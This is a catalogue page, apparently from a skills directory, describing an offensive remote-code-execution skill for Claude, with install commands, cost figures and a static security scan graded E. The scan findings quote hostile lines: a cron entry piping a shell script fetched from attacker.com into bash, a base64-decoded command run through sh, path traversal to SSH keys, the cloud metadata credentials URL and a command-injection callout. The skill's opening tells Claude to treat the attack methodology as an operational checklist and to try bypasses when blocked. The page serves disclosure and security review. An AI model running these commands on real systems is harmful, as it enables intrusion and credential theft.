claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/snailsploit/claude-red/offensive-rcenpx skills add SnailSploit/Claude-Red --skill offensive-rcegit clone --depth 1 https://github.com/SnailSploit/Claude-RedWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/snailsploit/claude-red/offensive-rce)<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-rce"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-rce.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00000 | $0.07526 |
| Opus 5 | $0.00000 | $0.03763 |
| Sonnet 5 | $0.00000 | $0.01505 |
| Haiku 4.5 | $0.00000 | $0.00753 |
Grade E, and why
offensive-rce scanned grade E with 7 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
PUT /upload?path=../../.ssh/authorized_keys Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
Content: * * * * * root curl http://attacker.com/shell.sh | bash Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Encoded or obfuscated payloadmediumSupply chain
base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.
echo "d2hvYW1p" | base64 -d | sh Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Unrestricted tool accesslowExcessive agency
A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.
occurs when an attacker can execute arbitrary code on a target machine because of a vulnerability or misconfiguration. Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
; curl http://attacker.com/$(whoami) Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
subprocess.run("ping -c 1 " + user, shell=True) # vulnerable How it starts
The opening of the file, as written. The whole thing — 1,068 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Remote Code Execution
Metadata
- Skill Name: rce
- Folder: offensive-rce
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/rce.md
Description
Remote Code Execution testing checklist: OS command injection, SSTI-to-RCE, deserialization RCE, file upload RCE, XXE with SSRF to RCE, RCE via dependency confusion, and CVE-based RCE patterns. Use for web app pentests and bug bounty RCE discovery.
Trigger Phrases
Use this skill when the conversation involves any of:
RCE, remote code execution, command injection, OS injection, SSTI RCE, deserialization RCE, file upload RCE, XXE RCE, dependency confusion, code execution
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
Remote Code Execution
occurs when an attacker can execute arbitrary code on a target machine because of a vulnerability or misconfiguration.
Shortcut
- Identify suspicious user input locations. for code injections, take note of every user input location, including URL parameters, HTTP headers, body parameters, and file uploads. to find potential file inclusion vulnerabilities, check for input locations being used to inclusion vulnerabilities, check for input locations being used to determine or, construct filenames and, for file upload functions.
- Submit test payloads to the input locations in order to detect potential vulnerabilities.
- If your requests are blocked, try protection bypass techniques and see if your payload succeeds.
- Finally, confirm the vulnerability by trying to execute harmless commands such as
whoami,ls, and,sleep 5.
Mechanisms
Code Injection
This program takes a user input string, pass it through eval() and return the results:
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 1,068 lines · 0 tokens per session scan E 0a4b1fb7c2ad
offensive-rce is a skill published in the GitHub repository SnailSploit/Claude-Red (3,026 stars, last pushed 5d ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 7,526 tokens. A static security scan graded it E with 7 findings (reaches for credential files, downloads and executes remote code, encoded or obfuscated payload). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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